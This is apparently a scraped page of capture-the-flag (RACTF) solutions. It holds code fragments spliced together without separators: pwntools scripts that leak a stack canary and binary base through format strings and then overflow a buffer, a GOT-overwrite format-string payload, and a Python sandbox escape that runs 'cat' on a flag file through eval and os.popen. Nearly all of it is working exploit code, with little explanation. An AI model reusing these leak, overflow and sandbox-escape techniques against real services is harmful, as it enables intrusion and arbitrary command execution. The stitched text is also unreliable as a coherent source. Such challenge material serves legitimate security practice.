Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
import re
e = ELF("./fiap")
#p = e.process()
p = remote('95.216.233.106',22951)
p.clean()
leak = "%3$p.%11$p"
p.sendline(leak)
output = p.recvline().decode()
leaks = re.findall("Thank you, (.*)!", output)[0].split('.')
leaks = list(map(lambda x: int(x,16), leaks))
e.address = leaks[0] - 0x0000128f
canary = leaks[1]
log.info(f"Binary base: {hex(e.address)}")
log.info(f"Canary: {hex(canary)}")
padding = b'A' * 25
payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
p.sendline(payload)
p.interactive()import sys, os
sys.path.append(os.path.join(".", "pyREtic"))
from pyREtic import REpdb
REpdb.set_trace()
import meme_orig
meme_cipher = meme_orig.meme_cipherdef __setattr__(self,attr,value):
print(attr,value)
self.__dict__[attr] = valueglobal ttt
if ttt < 1:
ttt += 1
return "target_code"return "import time\nfor func in filter(lambda x: type(x) == type(owo), list(globals().keys)): print(func(),func);time.sleep(5)"undefined [16] __pyx_pw_3owo_1owo(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_n_u_T0YqVGBGJzZiLXYp;
*__pyx_n_u_apollo = *__pyx_n_u_apollo + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}undefined [16] __pyx_pw_3owo_45frag(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_kp_u_QVZHZUEqOnM;
*__pyx_n_u_rain = *__pyx_n_u_rain + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}undefined [16] __pyx_pw_3owo_31i3_tiling_wm(void)
{
long *plVar1;
undefined8 in_RAX;
plVar1 = __pyx_kp_u_ZGBXYmRbfXU;
*__pyx_n_u_champions = *__pyx_n_u_champions + 1;
*plVar1 = *plVar1 + 1;
_Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
_Py_XDECREF();
_Py_XDECREF(plVar1);
return CONCAT88(in_RAX,0xa7e160);
}INP: XXXXXXXXXXXX
OUT: ractf{XXXXX}
By reversing the function bit by bit, we can recover some of the input.
INP: 123412XXXXX4
OUT: ractf{XXXXX}
And finally, by extrapolating the pattern, we recover the full flag.
INP: 123412341234
OUT: ractf{C1Rc3}from pwn import *
import re
e = ELF("./fias")
#p = e.process()
p = remote('95.216.233.106',64832)
p.clean()
p.sendline("%11$p")
output = p.recvline().decode()
print(output)
leak = int(re.findall("Nice to meet you, (.*)!", output)[0], 16)
canary = leak
log.info(f"Canary: {hex(canary)}")
padding = b'A' * 25
payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
p.sendline(payload)
p.interactive()globals()['eval']('__builtins__.__import__("os").popen("cat /home/ractf/flag.txt").read()')t\x02\x83\x00t\x00de\x83\x01t\x00dv\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00\x19\x00t\x00d_\x83\x01t\x00d_\x83\x01\x17\x00t\x00db\x83\x01\x17\x00t\x00du\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d \x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dh\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dg\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00dx\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dd\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00\x83\x01from pwn import *
e = ELF("./nra")
def getproc():
return remote('95.216.233.106',43941)
#return e.process()
def write_fmt(string):
p = getproc()
p.sendline(string)
p.recvline()
out = p.recv()
p.close()
return out
auto = FmtStr(execute_fmt=write_fmt)
writes = {e.got['puts']: e.sym['flaggy']}
payload = fmtstr.fmtstr_payload(auto.offset, writes)
p = getproc()
p.sendline(payload)
p.interactive()